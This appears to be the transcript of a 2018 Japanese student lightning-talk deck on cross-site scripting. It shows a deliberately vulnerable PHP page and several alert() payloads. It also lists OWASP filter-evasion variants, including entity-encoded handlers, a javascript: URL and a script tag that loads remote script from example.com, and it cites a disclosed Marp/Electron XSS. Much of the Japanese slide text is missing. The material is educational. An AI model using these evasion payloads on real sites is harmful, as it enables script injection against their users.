XSSの入力値を調べてみた / searching xss insertion value

2018/02/03 学生LT at freee

Transcript

1. XSS
2. B1 Twitter: @tmyk_kym : https://blog.koyama.me/ : Network/Web/Server/Security : PyCon JP, Seccamp, etc
3. XSS (Cross Site Scripting) HTML CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (3.0)
4. ... <!doctype html> <meta charset="utf-8"> <title>XSS Sample</title> <h1><?php echo $_GET['mode']; ?></h1> $_GET['mode'] hello <!doctype html> <meta charset="utf-8"> <title>XSS Sample</title> <h1>hello</h1>
5. ... <!doctype html> <meta charset="utf-8"> <title>XSS Sample</title> <h1><?php echo $_GET['mode']; ?></h1> $_GET['mode'] <script>alert()</script> <!doctype html> <meta charset="utf-8"> <title>XSS Sample</title> <h1><script>alert()</script></h1>
6. XSS Stored XSS( ) Re ected XSS( ) DOM Based XSS
7. XSS == XSS
8. <script>alert(1)</script> "><script>alert(1)</script> " onmouseover="alert(1) x" onerror="alert(1) <- img src javascript:alert(1) <- a href
9. XSS
10. ? / . XSS . XSS .
11. ?
12. OWASP OWASP XSS 2015 XSS - OWASP https://jpcertcc.github.io/OWASPdocuments/CheatSheets/XSSFilterEvasion.html
13. ( ) 3
14. [1] <SCRIPT/XSS SRC="http://example.com/xss.js"> </SCRIPT> / . ... <script xss="" src="http://example.com/xss.js"> </script>
15. [2] <<SCRIPT>alert("XSS");//<</SCRIPT> HTML XSS . ... "><script> alert("XSS");//< </script>
16. [3] <img src=x onerror=&#x6A&#x61&#x76&#x61&#x73 &#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65 &#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> &#x... HTML (16 ) . ... <img src="x" onerror="javascript:alert('XSS')">
17. ( )
18. ( ) <img src=javascript:alert('XSS')> <img src=javascript: alert(String.fromCharCode(88,83,83))> <META HTTP-EQUIV="refresh" CONTENT="3; URL=http://;URL=http://yahoo.co.jp/;">
20. Electron Marp Electron Web ... <script>alert()</script> alert ...( )
21. ?
22. JVN#21174546: Marp JavaScript https://jvn.jp/jp/JVN21174546/ However, sanitizing inline script should consider on future. [Security issue] Remote script can read user local resource · Issue #187 · yhatt/marp “ “
23. XSS XSS alert() Electron